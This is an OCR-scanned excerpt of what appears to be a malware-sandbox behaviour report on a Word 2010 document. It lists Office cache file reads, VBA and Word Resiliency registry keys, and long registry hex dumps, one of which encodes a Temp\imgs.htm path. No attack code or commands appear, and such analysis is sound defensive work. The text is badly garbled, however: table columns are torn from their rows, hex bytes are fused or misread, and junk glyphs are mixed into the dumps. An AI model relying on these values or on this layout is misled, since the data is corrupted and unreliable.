C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 6 6E2E0648 unknown
Files\Content. MSO\F20135FB.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 65536 success or wait 4 6E2E0648 unknown
Files\Content. MSO\B14BFCO.png

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFile 76 40 success or wait 1 7FEEE917AFD ReadFile
Cache\LocalCacheFileEditManager\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD- 76 40 success or wait 1 7FEEE917AFD ReadFile
{2A40BOAC-ACBB-463B-8DC0-568E01ED388D}.FSD
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Registry Activities
Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\72F4A

Key Value Created
Key Path Name Type
HKEY_CURRENT_USER\Softwar = Helvetica binary

e\Microsoft\Shared Tools\Panose

HKEY_CURRENT_USER\Softwar = 72F4A binary
e\Microsoft\Office\14.0\Word\Resili
ency\DocumentRecovery\72F4A
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Completion

success or wait

success or wait

success or wait

success or wait
success or wait
success or wait

success or wait

Data Completion

02 0B 06 04 02 02 02 02 02 04

04 00 00 00 3C 03 00 00 2A 00 00 00  success or wait

43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
440061 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
7F 6A DB E5 C1 80 D8 01 4A 2F 07
00 4A 2F 07 00 00 00 00 00 DB 04 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

success or wait

Count Source Address

1

6E2BASE3

6E2BASE3

6E2BASE3

6E2E0648
6E2E0648
6E2E0648
6E2E0648

Count Source Address

1 6E2E0648

1 6E2E0648

Symbol

RegCreateKeyEx
A

RegCreateKeyEx
A

RegCreateKeyEx
A

unknown
unknown
unknown

unknown

Symbol

unknown

unknown
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Key Path

Key Value Modified

Key Path Name
HKEY_LOCAL_MACH ProductFiles
INE\SOFTWARE\Mi
crosoft\Windows\Curre

ntVersion

\Installer\UserData\S-

1-5-18\P

roducts\00004109D30

00000010000

0000F01FEC\Usage

HKEY_LOCAL_MACH
INE\SOFTWARE\Mi
crosoft\Windows\Curre
ntVersion
\Installer\UserData\S-
1-5-18\P
roducts\00004109D30
00000010000
0000F01FEC\Usage

ProductFiles

Name

HKEY_CURRENT_US 72F4A
ER\Software\Mic
rosoft\Office\14.0\Wor

d\Resili

ency\DocumentRecov

ery\72F4A
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Type

dword

dword

binary

Type

%Q“{)é) 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

Old Data New Data
1422852146 1422852147
1422852147 1422852148

04 00 00 00 3C 030000 04 00 00 00 3C 03 00

2A 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00

5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00
69 00 6D 00 67 00 73 00
2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00
67 00 73 00 00 00 00 00

00 2A 00 00 00 43 00
3A 00 5C 005500 73
00 65 00 72 00 73 00
5C 00 41 00 6C 00 62
00 75 00 73 00 5C 00
4100 70 00 70 00 44
00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63
00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70
00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68
00 74 00 6D 00 04 00

Completion

Completion

success or wait

success or wait

success or wait

Count  Source Address

Source
Count Address
1 6E2E0648
1 6E2E0648
1 6E2E0648

Symbol

Symbol

unknown

unknown

unknown
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Key Path Name
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Type

01 00 00 00 00 00 00 00
WidRaa E5 C1 80 D8 01
4A 2F 07 00 4A 2F 07 00
00 00 00 00 DB 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 69 00 6D 00 67
OBRWEEI®0 00 00 00
01 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 4A 2F 07 00 4A
2F 07 00 00 00 00 00
DB 04 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
FF FF FF FF 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00O
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00O
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

Completion

Count

Source
Address

Symbol
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Key Path Name
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Type

00 00 00 00 00 00 00 00
Sb®atr0o 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF
FF FFFF

00 00 00 00 00 00 00
HtevoRAfB0 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

Completion

Count

Source
Address

Symbol
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00 00 00 00 00 00 00

S
Key Path Name Type Old Data OEOOEa0 00 00 00  Completion Count AZ::‘;ZS Symbol
00 00 00 00 FF FF FF
FF

Disassembly

@ No disassembly
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